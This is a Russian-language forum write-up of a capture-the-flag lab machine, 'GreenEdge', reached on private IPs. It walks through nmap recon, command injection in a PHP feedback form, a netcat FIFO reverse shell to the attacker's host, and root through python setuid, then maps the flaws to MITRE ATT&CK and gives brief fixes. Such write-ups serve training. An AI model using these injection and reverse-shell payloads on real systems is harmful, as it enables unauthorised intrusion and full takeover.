ОБСУЖДЕНИЕ Writeup 

GreenEdge

0 ответов 1,3 тыс.
Автор темы
Прямая ссылка на задание
1. recon 192.168.2.219
2. curl grep
3. POST method
4. CMDi
5. RCE
6. python SUID
7. root

🔐 Цель​

Сервер 192.168.2.219
GreenEdge недавно развернула обновлённую версию своего внутреннего портала. Система предназначена для облегчения коммуникации между отделами и улучшения рабочих процессов. Некоторые пользователи сообщили о нестабильной работе отдельных компонентов. Инфраструктура уже доступна для анализа.

🔍 Разведка цели​

nmap
Bash:
nmap -sS 192.168.2.219

Bash:
Nmap scan report for 192.168.2.219
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Nmap done: 1 IP address (1 host up) scanned in 2.58 seconds
curl
Bash:
curl -s http://192.168.2.219/ | grep -i "flag\|hint\|debug\|admin\|test\|dev\|env\|config\|backup\|php\|login"
        <a href="/index.php">Home</a>
        <a href="/about.php">About</a>
        <a href="/contact.php">Contact</a>
        <a href="/feedback.php">Feedback</a>
method="POST" параметр feedback=
Bash:
curl -s http://192.168.2.219/feedback.php
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>GreenEdge Portal</title>
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="nav">
        <a href="/index.php">Home</a>
        <a href="/about.php">About</a>
        <a href="/contact.php">Contact</a>
        <a href="/feedback.php">Feedback</a>
    </div>
    <div class="container"><h1>Employee Feedback Form</h1>
<p>Your suggestions and comments help us improve our internal systems.</p>
<form method="POST">
    <textarea name="feedback" placeholder="Enter your message..."></textarea><br>
    <button type="submit">Submit</button>
</form>

🎯 Выбираем вектор атаки​

CMDi = RCE

🧩 Этап 1: CMDi​

Bash:
curl -s -X POST http://192.168.2.219/feedback.php -d "feedback=; ls -la /"
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>GreenEdge Portal</title>
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="nav">
        <a href="/index.php">Home</a>
        <a href="/about.php">About</a>
        <a href="/contact.php">Contact</a>
        <a href="/feedback.php">Feedback</a>
    </div>
    <div class="container"><h1>Employee Feedback Form</h1>
<p>Your suggestions and comments help us improve our internal systems.</p>
<form method="POST">
    <textarea name="feedback" placeholder="Enter your message..."></textarea><br>
    <button type="submit">Submit</button>
</form>
<p>Thank you for your feedback.</p><pre>[sendmail] Message sent successfully
[sendmail] Content:
total 72
drwxr-xr-x   1 root root 4096 Sep  5  2025 .
drwxr-xr-x   1 root root 4096 Sep  5  2025 ..
-rwxr-xr-x   1 root root    0 Sep  5  2025 .dockerenv
lrwxrwxrwx   1 root root    7 Aug 19  2025 bin -&gt; usr/bin
drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
drwxr-xr-x   5 root root  320 Jun 19 12:20 dev
drwxr-xr-x   1 root root 4096 Sep  5  2025 etc
drwxr-xr-x   1 root root 4096 Sep  5  2025 home
lrwxrwxrwx   1 root root    7 Aug 19  2025 lib -&gt; usr/lib
lrwxrwxrwx   1 root root    9 Aug 19  2025 lib32 -&gt; usr/lib32
lrwxrwxrwx   1 root root    9 Aug 19  2025 lib64 -&gt; usr/lib64
lrwxrwxrwx   1 root root   10 Aug 19  2025 libx32 -&gt; usr/libx32
drwxr-xr-x   2 root root 4096 Aug 19  2025 media
drwxr-xr-x   2 root root 4096 Aug 19  2025 mnt
drwxr-xr-x   2 root root 4096 Aug 19  2025 opt
dr-xr-xr-x 228 root root    0 Jun 19 12:20 proc
drwx------   1 root root 4096 Oct  7  2025 root
drwxr-xr-x   1 root root 4096 Sep  7  2025 run
lrwxrwxrwx   1 root root    8 Aug 19  2025 sbin -&gt; usr/sbin
drwxr-xr-x   2 root root 4096 Aug 19  2025 srv
dr-xr-xr-x  13 root root    0 Jun 19 12:20 sys
drwxrwxrwt   1 root root 4096 Jun 19 12:21 tmp
drwxr-xr-x   1 root root 4096 Aug 19  2025 usr
drwxr-xr-x   1 root root 4096 Sep  5  2025 var

🔑 Этап 2: reverse shell​

nc listener
Bash:
nc -lvp 4444
listening on [any] 4444 ...
FIFO канал
Bash:
curl -s -X POST http://192.168.2.219/feedback.php -d "feedback=; mkfifo /tmp/f; nc 192.168.116.116 4444 0</tmp/f | bash 1>/tmp/f"
shell
Bash:
nc -lvp 4444
listening on [any] 4444 ...
192.168.2.219: inverse host lookup failed: Unknown host
connect to [192.168.116.116] from (UNKNOWN) [192.168.2.219] 33454
whoami
www-data

📁 Этап 3: эскалация привелегий​

сделаем tty shell
Bash:
whoami
www-data
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@85e0a64f451a:/var/www/html$
получим root
Bash:
www-data@85e0a64f451a:/var/www/html$ python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
# whoami
whoami
root
#

🚀 Этап 4: ищем флаг​

Bash:
🏁 cat /home/charley/first_part /root/last_part
1782144047618.webp



💥 CTF решен!

🧠 Использованные уязвимости​

# &nbsp;УязвимостьКраткое описаниеMITRE ATT&CK
1RCE через веб-форму (Command Injection)Форма feedback.php без валидации передаёт пользовательский ввод в OS-команду через внутренний вызов exec().T1190 — Exploit Public-Facing Application. T1059.004 — Unix Shell
2Слабые учётные данные и SUID-бинарник suПовышение привилегии до root.T1548.003 — Abuse Elevation Control Mechanism (SUID)
3Небезопасное хранение данных в открытом видеФлаг разделён на /home/charley/first_part и /root/last_part. Оба файла находятся в стандартных путях с правами 644.T1005 — Data from Local System


🛡 Рекомендации по защите​

1. Запретить выполнение OS-команд в PHP
2. Ликвидировать риски SUID
3. Защитить конфиденциальные данные от несанкционированного чтения


✅ Инструменты: nmap, curl, python, nc​

 
  • Нравится
Реакции: delifer, Edmon Dantes и Сергей Попов
3